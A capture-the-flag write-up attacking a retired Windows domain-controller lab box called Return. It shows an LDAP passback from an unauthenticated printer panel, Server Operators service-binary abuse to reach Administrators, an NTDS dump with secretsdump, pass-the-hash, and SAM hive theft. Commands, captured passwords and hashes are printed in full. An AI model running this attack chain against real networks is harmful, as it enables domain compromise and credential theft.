Return
The IP may vary: the lab had to be restarted at some point, so screenshots and commands might show a different address. Replace it with the one from your own instance.
TL;DR. Return is an easy Windows box whose flaw fits in one sentence: a printer's admin panel lets anyone change, without authenticating, the address of the LDAP server it validates users against. Point it at ours, startresponder, and the printer connects and identifies itself in the clear, because unencrypted LDAP sends the password as it is (LDAP enumeration).svc-printergets in over WinRM, andwhoami /allshows the whole escalation on one line: the account belongs toBUILTIN\Server Operators, a group that can reconfigure services (abusing Server Operators). Swapping a service's binary for anet localgroup Administrators svc-printer /addand starting it adds the user to the administrators (insecure service permissions), even thoughsc.exeitself returns an error. From theresecretsdumppulls the whole NTDS (dumping NTDS.DIT) and theAdministrator's hash opens the final session (pass-the-hash).
About the evidence. One single capture is published, the settings panel: it is a web interface (section 12.7 of the standard) and it is also the only source for the parameter's name. With Firefox's network panel open you can see thePOSTtosettings.phpand, inside it, the form data with the keyip, which is exactly the one thecurluses afterwards. Everything else is a terminal and goes as text.svc-printer's password is published in full, as are both flags and the dumped hashes, because the box is retired.
Recon#
Initial scan#
The returning TTL points at the operating system: each OS starts it at a default value and each router drops it by one per hop. ttl=127 is 128 minus one hop, so Windows.
ping -c 1 10.129.86.18264 bytes from 10.129.86.182: icmp_seq=1 ttl=127 time=22.7 ms
sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open 10.129.86.182 -oG scan... PORT STATE SERVICE REASON 53/tcp open domain syn-ack ttl 127 80/tcp open http syn-ack ttl 127 88/tcp open kerberos-sec syn-ack ttl 127 135/tcp open msrpc syn-ack ttl 127 139/tcp open netbios-ssn syn-ack ttl 127 389/tcp open ldap syn-ack ttl 127 445/tcp open microsoft-ds syn-ack ttl 127 464/tcp open kpasswd5 syn-ack ttl 127 593/tcp open http-rpc-epmap syn-ack ttl 127 636/tcp open ldapssl syn-ack ttl 127 3268/tcp open globalcatLDAP syn-ack ttl 127 3269/tcp open globalcatLDAPssl syn-ack ttl 127 5985/tcp open wsman syn-ack ttl 127 9389/tcp open adws syn-ack ttl 127 47001/tcp open winrm syn-ack ttl 127 49664/tcp open unknown syn-ack ttl 127 49665/tcp open unknown syn-ack ttl 127 49666/tcp open unknown syn-ack ttl 127 49667/tcp open unknown syn-ack ttl 127 49671/tcp open unknown syn-ack ttl 127 49674/tcp open unknown syn-ack ttl 127 49675/tcp open unknown syn-ack ttl 127 49677/tcp open unknown syn-ack ttl 127 49680/tcp open unknown syn-ack ttl 127 49697/tcp open unknown syn-ack ttl 127 59181/tcp open unknown syn-ack ttl 127 Read data files from: /usr/share/nmap Nmap done: 1 IP address (1 host up) scanned in 12.54 seconds Raw packets sent: 72466 (3.189MB) | Rcvd: 65503 (2.620MB)
Another domain controller: 88, 389, 636, 3268, 3269, 9389. And two things that are not standard, an 80 and the 5985 of WinRM, which is the port to come back to the moment a credential shows up.
nmap -p53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49667,49671,49674,49675,49677,49680,49697,59181 -sCV 10.129.86.182 -oN targetedScanStarting Nmap 7.99 ( https://nmap.org ) at 2026-11-07 04:27 +0000 Nmap scan report for 10.129.86.182 Host is up (0.023s latency). PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 80/tcp open http Microsoft IIS httpd 10.0 |_http-title: HTB Printer Admin Panel |_http-server-header: Microsoft-IIS/10.0 | http-methods: |_ Potentially risky methods: TRACE 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-11-06 23:13:31Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: return.local, Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: return.local, Site: Default-First-Site-Name) 3269/tcp open tcpwrapped 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 9389/tcp open mc-nmf .NET Message Framing 47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 49664/tcp open msrpc Microsoft Windows RPC 49665/tcp open msrpc Microsoft Windows RPC 49666/tcp open msrpc Microsoft Windows RPC 49667/tcp open msrpc Microsoft Windows RPC 49671/tcp open msrpc Microsoft Windows RPC 49674/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 49675/tcp open msrpc Microsoft Windows RPC 49677/tcp open msrpc Microsoft Windows RPC 49680/tcp open msrpc Microsoft Windows RPC 49697/tcp open msrpc Microsoft Windows RPC 59181/tcp open msrpc Microsoft Windows RPC Service Info: Host: PRINTER; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | smb2-time: | date: 2026-11-06T23:14:32 |_ start_date: N/A | smb2-security-mode: | 3.1.1: |_ Message signing enabled and required |_clock-skew: -5h14m02s Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 70.87 seconds
The domain is return.local, the machine is called PRINTER and the 80 is an IIS 10.0 whose title says it all: HTB Printer Admin Panel.
echo '10.129.86.182 return.local' | sudo tee -a /etc/hosts > /dev/null; tail -n 1 /etc/hosts10.129.86.182 return.local
UDP sweep#
nmap -sU --min-rate 5000 -Pn -n -vvv --open --top-ports 1000 10.129.86.182 | grep -v 'no-response'Starting Nmap 7.99 ( https://nmap.org ) at 2026-11-07 04:23 +0000 Initiating UDP Scan at 04:23 Scanning 10.129.86.182 [1000 ports] Discovered open port 123/udp on 10.129.86.182 Discovered open port 53/udp on 10.129.86.182 Discovered open port 389/udp on 10.129.86.182 Discovered open port 88/udp on 10.129.86.182 Completed UDP Scan at 04:23, 0.76s elapsed (1000 total ports) Nmap scan report for 10.129.86.182 Host is up, received user-set (0.038s latency). Scanned at 2026-11-07 04:23:06 UTC for 0s Not shown: 1 closed udp port (port-unreach) PORT STATE SERVICE REASON 53/udp open domain udp-response ttl 127 88/udp open kerberos-sec udp-response ttl 127 123/udp open ntp udp-response ttl 127 389/udp open ldap udp-response ttl 127 Read data files from: /usr/share/nmap Nmap done: 1 IP address (1 host up) scanned in 0.84 seconds Raw packets sent: 3120 (147.058KB) | Rcvd: 7 (678B)
nmap -p53,88,123,389 -sUCV 10.129.86.182 -oN UDPtargetedScanStarting Nmap 7.99 ( https://nmap.org ) at 2026-11-07 04:23 +0000 Nmap scan report for 10.129.86.182 Host is up (0.023s latency). PORT STATE SERVICE VERSION 53/udp open domain (generic dns response: SERVFAIL) | fingerprint-strings: | DNS-SD: | _services | _dns-sd | _udp | local | NBTStat: |_ CKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 88/udp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-11-06 23:08:48Z) 123/udp open ntp NTP v3 | ntp-info: |_ 389/udp open ldap Microsoft Windows Active Directory LDAP (Domain: return.local, Site: Default-First-Site-Name) ... Host script results: |_clock-skew: -5h14m26s
The same as TCP seen over the other protocol. It confirms the domain and nothing else.
DNS - TCP 53: the machine's name#
dig axfr return.local @10.129.86.182; <<>> DiG 9.20.26-1-Debian <<>> axfr return.local @10.129.86.182 ;; global options: +cmd ; Transfer failed.
The zone transfer is closed. The name server query does answer.
dig ns return.local @10.129.86.182; <<>> DiG 9.20.26-1-Debian <<>> ns return.local @10.129.86.182 ;; global options: +cmd ;; Got answer: ;; WARNING: .local is reserved for Multicast DNS ;; You are currently testing what happens when an mDNS query is leaked to DNS ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 2769 ;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 3 ;; OPT PSEUDOSECTION: ; EDNS: version: 0, flags:; udp: 4000 ; COOKIE: 23a946fb3f0620e0 (echoed) ;; QUESTION SECTION: ;return.local. IN NS ;; ANSWER SECTION: return.local. 3600 IN NS printer.return.local. ;; ADDITIONAL SECTION: printer.return.local. 1200 IN A 10.129.86.182 printer.return.local. 1200 IN AAAA dead:beef::640b:f5ed:8c5c:694d ;; Query time: 17 msec ;; SERVER: 10.129.86.182#53(10.129.86.182) (UDP) ;; WHEN: Sat Nov 07 04:32:12 UTC 2026 ;; MSG SIZE rcvd: 119
dig's warning about .local is not an error, it is a correct remark: that suffix is reserved for mDNS and using it as an Active Directory domain is bad practice documented by Microsoft itself. It gets in the way of nothing here. The controller's full name is printer.return.local.
echo '10.129.86.182 printer.return.local' | sudo tee -a /etc/hosts > /dev/null; tail -n 1 /etc/hosts10.129.86.182 printer.return.local
Access: the printer panel's LDAP#
The settings form#

The panel asks for no authentication and offers to change which LDAP server the printer connects to in order to validate users. It already has svc-printer configured along with its password, masked in the field. The idea is old and still works: if a device stores credentials and uses them to connect to a server we get to choose, all it takes is making it connect to us.
Firefox's network panel gives the one detail needed to repeat this without a browser: the POST to settings.php sends a single field and it is called ip, even though the page's label says "Server Address".
Point it at us and listen#
curl http://return.local/settings.php -d 'ip=10.10.15.120' &>/dev/nullThe &>/dev/null silences the whole response: what matters is not what the page answers, it is what reaches the other end. responder runs, among others, a fake LDAP server, and that is the point: unencrypted LDAP authenticates with a simple bind, which sends username and password in plain text.
responder -I tun0... [*] Version: Responder 3.2.2.0 [*] Author: Laurent Gaffie, <lgaffie@secorizon.com> [+] Listening for events... [LDAP] Cleartext Client : 10.129.86.182 [LDAP] Cleartext Username : return\svc-printer [LDAP] Cleartext Password : 1edFg43012!!
Cleartext, not a hash: there is nothing to crack here. The credential is svc-printer / 1edFg43012!!.
WinRM#
nxc winrm return.local -u 'svc-printer' -p '1edFg43012!!'WINRM 10.129.86.182 5985 PRINTER [*] Windows 10 / Server 2019 Build 17763 (name:PRINTER) (domain:return.local) WINRM 10.129.86.182 5985 PRINTER [+] return.local\svc-printer:1edFg43012!! (Pwn3d!)
nxc's (Pwn3d!) means that account does not just authenticate, it can execute over that service.
evil-winrm -i return.local -u 'svc-printer' -p '1edFg43012!!'... *Evil-WinRM* PS C:\Users\svc-printer\Documents> cd ..\Desktop *Evil-WinRM* PS C:\Users\svc-printer\Desktop> type user.txt fd49ee7a1caa0b0bbbc1657cf6acc53d
The first flag: fd49ee7a1caa0b0bbbc1657cf6acc53d.
Privilege escalation#
The Server Operators group#
whoami /allUSER INFORMATION ---------------- User Name SID ================== ============================================= return\svc-printer S-1-5-21-3750359090-2939318659-876128439-1103 GROUP INFORMATION ----------------- Group Name Type SID Attributes ========================================== ================ ============ ================================================== Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group BUILTIN\Server Operators Alias S-1-5-32-549 Mandatory group, Enabled by default, Enabled group BUILTIN\Print Operators Alias S-1-5-32-550 Mandatory group, Enabled by default, Enabled group BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group Mandatory Label\High Mandatory Level Label S-1-16-12288 PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ============================= =================================== ======= SeMachineAccountPrivilege Add workstations to domain Enabled SeLoadDriverPrivilege Load and unload device drivers Enabled SeSystemtimePrivilege Change the system time Enabled SeBackupPrivilege Back up files and directories Enabled SeRestorePrivilege Restore files and directories Enabled SeShutdownPrivilege Shut down the system Enabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeRemoteShutdownPrivilege Force shutdown from a remote system Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Enabled SeTimeZonePrivilege Change the time zone Enabled USER CLAIMS INFORMATION ----------------------- User claims unknown. Kerberos support for Dynamic Access Control on this device has been disabled.
There are three roads in that output and the first one is already enough.
BUILTIN\Server Operators is the group meant for administering servers without being a domain admin, and among its rights is configuring and starting services (abusing Server Operators). A service runs whatever binary its configuration names, and it is started by the service manager, which runs as SYSTEM: changing that binary is execution as SYSTEM, with no exploit at all.
SeBackupPrivilege and SeRestorePrivilege are the second road: they allow reading and writing any file bypassing the access control lists, because a backup has to be able to copy everything (abusing SeBackupPrivilege). At the end of this writeup they get used to carry off the registry hives.
And SeLoadDriverPrivilege, loading drivers, is the third and noisiest. It is not needed here.
Changing a service's binary#
evil-winrm ships a command of its own that lists services and says which ones allow changing their permissions (insecure service permissions).
servicesPath Privileges Service ---- ---------- ------- C:\Windows\ADWS\Microsoft.ActiveDirectory.WebServices.exe True ADWS \??\C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{5533AFC7-64B3-4F6E-B453-E35320B35716}\MpKslDrv.sys True MpKslceeb2796 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\SMSvcHost.exe True NetTcpPortSharing C:\Windows\SysWow64\perfhost.exe True PerfHost "C:\Program Files\Windows Defender Advanced Threat Protection\MsSense.exe" False Sense C:\Windows\servicing\TrustedInstaller.exe False TrustedInstaller "C:\Program Files\VMware\VMware Tools\VMware VGAuth\VGAuthService.exe" True VGAuthService "C:\Program Files\VMware\VMware Tools\vmtoolsd.exe" True VMTools "C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2104.14-0\NisSrv.exe" True WdNisSvc "C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2104.14-0\MsMpEng.exe" True WinDefend "C:\Program Files\Windows Media Player\wmpnetwk.exe" False WMPNetworkSvc
The one picked is VMTools: it is VMware's, not Windows', so breaking it does not take the machine down, and its Privileges column says True.
sc.exe config VMTools binPath="cmd /c net localgroup Administrators svc-printer /add"[SC] ChangeServiceConfig SUCCESS
The service's binary is no longer vmtoolsd.exe, it is a cmd that adds itself to the local administrators group. All that is missing is for somebody to start it, and that somebody is us.
sc.exe stop VMTools[SC] ControlService FAILED 1062: The service has not been started.
sc.exe start VMTools[SC] StartService FAILED 1053: The service did not respond to the start or control request in a timely fashion.
Both commands fail and the attack still works, and it is worth understanding why before taking anything for granted. The 1062 says the service was not running, so there was nothing to stop. The 1053 is the interesting one: the service manager starts the binary and waits for it to answer over the service control channel. A cmd is not a service and never answers, so after thirty seconds the manager calls the start failed and kills the process. But the process did launch, and net localgroup ... /add takes milliseconds. The error belongs to the service protocol, not to the command.
What decides whether it worked is not sc.exe's exit code, it is asking about the user.
net user svc-printerUser name svc-printer Full Name SVCPrinter Comment Service Account for Printer User's comment Country/region code 000 (System Default) Account active Yes Account expires Never Password last set 5/26/2021 12:15:13 AM Password expires Never Password changeable 5/27/2021 12:15:13 AM Password required Yes User may change password Yes Workstations allowed All Logon script User profile Home directory Last logon 11/6/2026 3:37:05 PM Logon hours allowed All Local Group Memberships *Administrators *Print Operators *Remote Management Use*Server Operators Global Group memberships *Domain Users The command completed successfully.
Local Group Memberships now starts with *Administrators. And on a domain controller the local administrators group is the domain's.
The NTDS#
With the account in Administrators, secretsdump can ask for directory replication. The password is typed at the prompt.
impacket-secretsdump return.local/svc-printer@10.129.86.182Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies Password: [*] Target system bootKey: 0xa42289f69adb35cd67d02cc84e69c314 [*] Dumping local SAM hashes (uid:rid:lmhash:nthash) Administrator:500:aad3b435b51404eeaad3b435b51404ee:34386a771aaca697f447754e4863d38a::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: [*] Dumping cached domain logon information (domain/username:hash) [*] Dumping LSA Secrets [*] $MACHINE.ACC RETURN\PRINTER$:aes256-cts-hmac-sha1-96:00cee9e74d8bdca5c9169979cc54836fdb4736dc73cb7cff7e4c6052b1b92f6e RETURN\PRINTER$:aes128-cts-hmac-sha1-96:34b5606cdfdb325f82f45449ad528bf4 RETURN\PRINTER$:des-cbc-md5:4a23942025ea49f2 RETURN\PRINTER$:plain_password_hex:6f84ea00406b3e81e74351ec17f242469815c04686c191c1929476dc77125d061ce4bf3524040c878a4ca4edebaba06f137709b5e1dfe302d6f73820466d60d3617f73e06a1d3b20d245e48938f86cfcae5842d613d45a90e584c08b212a28e0ab6d3d374866a8efa1e0e02912fbc63740ccd9db8b159f9b5a43504629325c2277355cd08288598039b133df703dcbec810c9d568ffd47d5d4fe0288b855d44083c4e98c7191d69a45ed1e097c40b3e3afaa5808c1999a8f079056b14c0567a634bac08c83689dfa897f9709ce27355fde91a288cb5ed632b0f9550178d8010879e6867f22796c604bff7d07a88f9d2c RETURN\PRINTER$:aad3b435b51404eeaad3b435b51404ee:c8d2931a782ef29ef987ff1d98493a29::: [*] DPAPI_SYSTEM dpapi_machinekey:0x06243ead9780ed8b9e36d34624aca3eff9eff2a0 dpapi_userkey:0x3dba4981ae9cb884001d7b0b3ffa5d3504fc12b8 [*] NL$KM 0000 16 BD CA 34 21 A5 5C AD 51 ED B1 7E 4A 4F 59 B8 ...4!.\.Q..~JOY. 0010 C3 65 1E 1A 5D 6D 97 82 79 3A 58 A0 FC 2B B5 8B .e..]m..y:X..+.. 0020 A4 E2 9B CF DD 7B 52 80 99 33 45 4F F1 35 15 DC .....{R..3EO.5.. 0030 4F 99 B3 A1 CB 55 21 A5 CC F5 27 43 F7 16 AA BC O....U!...'C.... NL$KM:16bdca3421a55cad51edb17e4a4f59b8c3651e1a5d6d9782793a58a0fc2bb58ba4e29bcfdd7b52809933454ff13515dc4f99b3a1cb5521a5ccf52743f716aabc [*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash) [*] Using the DRSUAPI method to get NTDS.DIT secrets Administrator:500:aad3b435b51404eeaad3b435b51404ee:32db622ed9c00dd1039d8288b0407460::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: krbtgt:502:aad3b435b51404eeaad3b435b51404ee:4e48ce125611add31a32cd79e529964b::: return.local\svc-printer:1103:aad3b435b51404eeaad3b435b51404ee:c1d26bdcecf44246b5f8653284331a2e::: PRINTER$:1000:aad3b435b51404eeaad3b435b51404ee:c8d2931a782ef29ef987ff1d98493a29::: [*] Kerberos keys grabbed Administrator:aes256-cts-hmac-sha1-96:2f7d707eb859ec2c26109953831f54861a0ee47d3e4b16dde7f17009d08297b0 Administrator:aes128-cts-hmac-sha1-96:ef8673c4ba668752432c817dda62af48 Administrator:des-cbc-md5:4f0ee6291aabd338 krbtgt:aes256-cts-hmac-sha1-96:cc6ddaa28d2bb97926dabd1b82845479a97080aad93eddfd2ccf4f2ddf00961a krbtgt:aes128-cts-hmac-sha1-96:cc5f4a49b6a0cdb71cdea34e84ba2a2e krbtgt:des-cbc-md5:1086497c1fc1ab8a return.local\svc-printer:aes256-cts-hmac-sha1-96:6dd6f85d0cf31eb1c01d7aff4e30a58bc5948e6f05e6d88f5cdb57be0208117d return.local\svc-printer:aes128-cts-hmac-sha1-96:a92bc84131dcd4309431242e8ee9437e return.local\svc-printer:des-cbc-md5:574cb9a8a8e5cb43 PRINTER$:aes256-cts-hmac-sha1-96:00cee9e74d8bdca5c9169979cc54836fdb4736dc73cb7cff7e4c6052b1b92f6e PRINTER$:aes128-cts-hmac-sha1-96:34b5606cdfdb325f82f45449ad528bf4 PRINTER$:des-cbc-md5:25ad80fd37a85d62 [*] Cleaning up...
There are two different Administrators in that output and they should not be mixed up. The first, 34386a77..., comes from the local SAM: it is this machine's administrator. The second, 32db622ed9c00dd1039d8288b0407460, comes from the NTDS over DRSUAPI and is the domain's (dumping NTDS.DIT). The useful one is the second.
evil-winrm -i return.local -u Administrator -H 32db622ed9c00dd1039d8288b0407460... *Evil-WinRM* PS C:\Users\Administrator\Documents> cd .. *Evil-WinRM* PS C:\Users\Administrator> cd Desktop *Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt 2cd872430771b9648bf67c77c03bc609
Second flag: 2cd872430771b9648bf67c77c03bc609. The password was never needed: NTLM authenticates with the hash, which is why a stolen hash is a credential (pass-the-hash).
The other road: SeBackupPrivilege#
The box is done, but whoami /all offered a second road that does not depend on touching any service. SeBackupPrivilege allows reading any file bypassing permissions, and that includes the registry hives where the local hashes live (dumping SAM and LSA).
reg save HKLM\SYSTEM SYSTEM.SAVThe operation completed successfully.
reg save HKLM\SAM SAM.SAVThe operation completed successfully.
dirDirectory: C:\Windows\Temp Mode LastWriteTime Length Name ---- ------------- ------ ---- d----- 11/6/2026 3:03 PM DiagTrack_alternativeTrace d----- 11/6/2026 3:03 PM DiagTrack_aot d----- 11/6/2026 3:03 PM DiagTrack_diag d----- 11/6/2026 3:03 PM DiagTrack_miniTrace d----- 9/27/2021 6:04 AM vmware-SYSTEM -a---- 11/6/2026 3:36 PM 1008 PHP74x64ForIISExpress_errors.log -a---- 11/6/2026 3:39 PM 49152 SAM.SAV -a---- 11/6/2026 3:04 PM 102 silconfig.log -a---- 11/6/2026 3:39 PM 15925248 SYSTEM.SAV -a---- 9/27/2021 5:59 AM 206 temBC3F.tmp -a---- 9/29/2021 12:04 AM 21128 vmware-vmsvc-SYSTEM.log -a---- 9/27/2021 4:46 AM 52365 vmware-vmsvc.log -a---- 9/29/2021 12:04 AM 495 vmware-vmtoolsd-Administrator.log -a---- 11/6/2026 3:03 PM 594 vmware-vmtoolsd-SYSTEM.log -a---- 9/29/2021 12:04 AM 6640 vmware-vmusr-Administrator.log -a---- 9/27/2021 4:46 AM 12982 vmware-vmusr.log -a---- 11/6/2026 3:03 PM 480 vmware-vmvss-SYSTEM.log -a---- 9/27/2021 4:43 AM 2016 vmware-vmvss.log
Both files are there, with their size and a timestamp from a minute ago. evil-winrm has its own download.
download SAM.SAVInfo: Downloading C:\Windows\Temp\SAM.SAV to SAM.SAV Info: Download successful!
download SYSTEM.SAVInfo: Downloading C:\Windows\Temp\SYSTEM.SAV to SYSTEM.SAV Info: Download successful!
impacket-secretsdump -sam SAM.SAV -system SYSTEM.SAV localImpacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies [*] Target system bootKey: 0xa42289f69adb35cd67d02cc84e69c314 [*] Dumping local SAM hashes (uid:rid:lmhash:nthash) Administrator:500:aad3b435b51404eeaad3b435b51404ee:34386a771aaca697f447754e4863d38a::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: [*] Cleaning up...
The bootKey and the three hashes are the same ones the remote secretsdump printed, and that is what makes this a check rather than a repetition: the same information pulled two different ways, one by asking the system for it and one by reading the files by hand.
Attack chain#
ping ttl=127 → Windows / nmap: DC (88, 389, 3268) + IIS on 80 + WinRM on 5985
│ dig ns ─► printer.return.local
▼
http://return.local/settings.php with no authentication
│ the network panel says the field is called "ip"
▼
curl -d 'ip=<kali>' + responder -I tun0
│ LDAP simple bind with NO encryption ─► username and password IN THE CLEAR
▼
return\svc-printer : 1edFg43012!! ─► nxc winrm (Pwn3d!) ─► evil-winrm ─► user.txt
│ whoami /all: BUILTIN\Server Operators + SeBackupPrivilege
▼
services ─► VMTools (Privileges: True)
│ sc.exe config VMTools binPath="cmd /c net localgroup Administrators svc-printer /add"
▼
sc.exe start VMTools ─► FAILED 1053 (the cmd never answers the SCM) ...but it ran
│ net user svc-printer ─► *Administrators
▼
impacket-secretsdump ─► DRSUAPI ─► Administrator: 32db622e...
│
├─ evil-winrm -H ─► root.txt
└─ SeBackupPrivilege: reg save SAM/SYSTEM + download + secretsdump local (cross-check)Lessons learned#
- A device that stores credentials to reach a server is a credential that can be redirected. There is no need to read the password out of the panel: it is enough to change where it connects. Printers, scanners and backup systems all carry this same setting, and the attack has been called LDAP passback since long before this box.
- Unencrypted LDAP sends the password as it is. A simple bind over plain 389 is not a challenge and a response like NTLM: it is the username and the password inside the packet. That is why
responderprintsCleartextand there is nothing left to crack. Server Operatorsis domain admin with extra steps. The group can reconfigure services, services are started bySYSTEM, and on a domain controllerSYSTEMis the directory. There is no vulnerability: it is the permission doing what it says.- A command that returns an error may well have done its job.
sc.exe startfails with 1053 because acmddoes not answer the service control channel, but the process did get launched. What decides is the check, thenet user, not the command's exit code. - Two
Administrators in a dump are not the same one. The SAM's is the machine's local administrator; the NTDS's is the domain's. Mixing them up costs a while trying a hash that opens nothing. - Having a second road and walking it is worth it even when the first one already worked.
SeBackupPrivilegepulled the same local hashes by another route, and their matching byte for byte is what confirms neither dump made anything up.